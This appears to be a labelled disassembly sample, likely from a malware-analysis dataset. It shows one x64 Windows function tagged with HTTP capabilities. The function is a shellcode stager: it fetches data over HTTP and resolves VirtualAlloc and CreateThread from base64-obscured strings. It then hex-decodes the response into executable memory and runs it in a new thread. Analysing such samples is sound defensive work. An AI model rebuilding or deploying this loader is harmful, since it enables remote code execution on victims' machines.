Function at 0x140001560
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4e20]
mov eax, 0x4f20
call fcn.1400031e0
sub rsp, rax
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x4e10], rax
mov rbx, r8
mov rdi, rcx
xor r13d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 1]
lea rcx, [0x14000444c]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
jne 0x1400015ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001bbe
mov r8d, 0x50
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r15, rax
test rax, rax
jne 0x14000160d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001bb5
mov eax, 0x2f
mov word [rbp - 0x10], ax
xor edx, edx
mov r8d, 0xfe
lea rcx, [rbp - 0xe]
call sub.VCRUNTIME140.dll_memset
test rbx, rbx
je 0x140001631
cmp byte [rbx], 0x2f
je 0x14000165f
lea rcx, [rbp - 0x10]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], r13b
jne 0x140001640
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [rbx + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001650
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r13b
mov r8d, 0xc
lea rdx, str.SFRUUC8xLjE
lea rcx, [rsp + 0x40]
call fcn.1400020b0
nop
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov r8d, 4
lea rdx, str.R0VU
lea rcx, [rsp + 0x60]
call fcn.1400020b0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.1400011f0
mov rdi, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.1400011f0
cmp qword [rdi + 0x18], 0x10
jb 0x1400016e8
mov rdi, qword [rdi]
cmp qword [rax + 0x18], 0x10
jb 0x1400016f2
mov rax, qword [rax]
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r14, rax
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140001759
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001754
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001754
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400017a7
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400017f8
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001838
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001833
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001833
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
test r14, r14
jne 0x140001848
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001bac
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140001b9d
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0x10
lea rdx, str.VmlydHVhbEFsbG9j
lea rcx, [rsp + 0x40]
call fcn.1400020b0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400011f0
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400018b2
mov rbx, qword [rax]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000190e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001909
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001909
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001961
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000195c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000195c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0x10
lea rdx, str.Q3JlYXRlVGhyZWFk
lea rcx, [rsp + 0x40]
call fcn.1400020b0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.1400011f0
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400019ac
mov rbx, qword [rax]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140001a06
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001a56
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002588
mov edx, 0x400000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call rdi
mov rbx, rax
xor edx, edx
mov r8d, 0x2710
lea rcx, [rbp + 0x2700]
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x20]
mov r8d, 0x2710
lea rdx, [rbp + 0x2700]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edi, eax
xor edx, edx
mov r8d, 0x2710
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memset
mov r9, r13
lea rax, [rbp + 0x2700]
mov r10, 0xffffffffffffffff
nop
inc r10
cmp byte [rax + r10], r9b
jne 0x140001ac0
test r10, r10
je 0x140001b60
lea r11, [rbp - 0x10]
nop word [rax + rax]
movzx r8d, byte [rbp + r9 + 0x2700]
cmp r8b, 0x5c
je 0x140001b58
cmp r8b, 0x78
je 0x140001b58
movzx edx, byte [rbp + r9 + 0x2701]
xor al, al
lea ecx, [r8 - 0x30]
cmp cl, 9
ja 0x140001b0f
movzx eax, r8b
jmp 0x140001b25
lea ecx, [r8 - 0x61]
cmp cl, 5
jbe 0x140001b21
lea ecx, [r8 - 0x41]
cmp cl, 5
ja 0x140001b28
lea eax, [r8 - 7]
shl al, 4
lea ecx, [rdx - 0x30]
cmp cl, 9
ja 0x140001b35
sub dl, 0x30
jmp 0x140001b4d
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x140001b42
sub dl, 0x57
jmp 0x140001b4d
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x140001b4f
sub dl, 0x37
or al, dl
mov byte [r11], al
inc r11
inc r9
inc r9
cmp r9, r10
jb 0x140001ae0
mov r8d, 0x2710
lea rdx, [rbp - 0x10]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
test edi, edi
je 0x140001b9d
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call r12
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001bbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x4e10]
xor rcx, rsp
call fcn.1400023b0
mov rbx, qword [rsp + 0x4f68]
add rsp, 0x4f20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret